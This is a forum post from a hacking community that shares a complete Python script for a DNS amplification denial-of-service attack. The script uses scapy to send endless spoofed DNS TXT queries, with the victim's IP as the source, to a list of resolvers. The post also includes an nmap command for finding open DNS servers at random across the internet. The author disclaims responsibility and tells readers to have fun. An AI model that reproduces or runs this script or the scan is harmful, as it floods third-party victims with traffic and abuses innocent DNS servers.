Author Topic: Python DNS Amplification Attack  (Read 5595 times)

0 Members and 1 Guest are viewing this topic.

Offline Fl0urite

  • /dev/null
  • *
  • Posts: 15
  • Cookies: -16
    • View Profile
Python DNS Amplification Attack
« on: February 25, 2014, 06:07:28 am »
I am not responsible for any damages this script causes.


anyway here is the code :P
View from mediafire: http://www.mediafire.com/view/bihw74wedccjaz7/dnsamp.py
Code: [Select]
from scapy.all import *
import sys
from random import randrange
try:
    TARGET=sys.argv[1]
    AMP_LIST=sys.argv[2]
except:
    print "Usage: ./"+__file__+" [TARGET] [AMP LIST]"
    exit(1)
print "[+] Attacking "+TARGET+"..."
print
while 1:
    with open(AMP_LIST,"r") as f:
        for SERVER in f:
            SERVER=SERVER.replace("\n","")
            try:
                send(IP(dst=SERVER, src=TARGET)/UDP(dport=53, sport=randrange(1024,65535))/DNS(qd=DNSQR(qname="goo.gl", qtype="TXT")),verbose=0)
                print "[+] Sent spoofed DNS request to: "+SERVER
            except:
                print "[-] Could not send spoofed DNS request to "+SERVER+" (is the server online?)"
scan for live DNS servers:

nmap -iR 10000 -Pn -p 53

sorry for not having an advanced arg parsing :C
Have fun guiz!
« Last Edit: February 25, 2014, 06:16:44 am by Fl0urite »
If you feel my post was interesting or stood out, give me a cookie!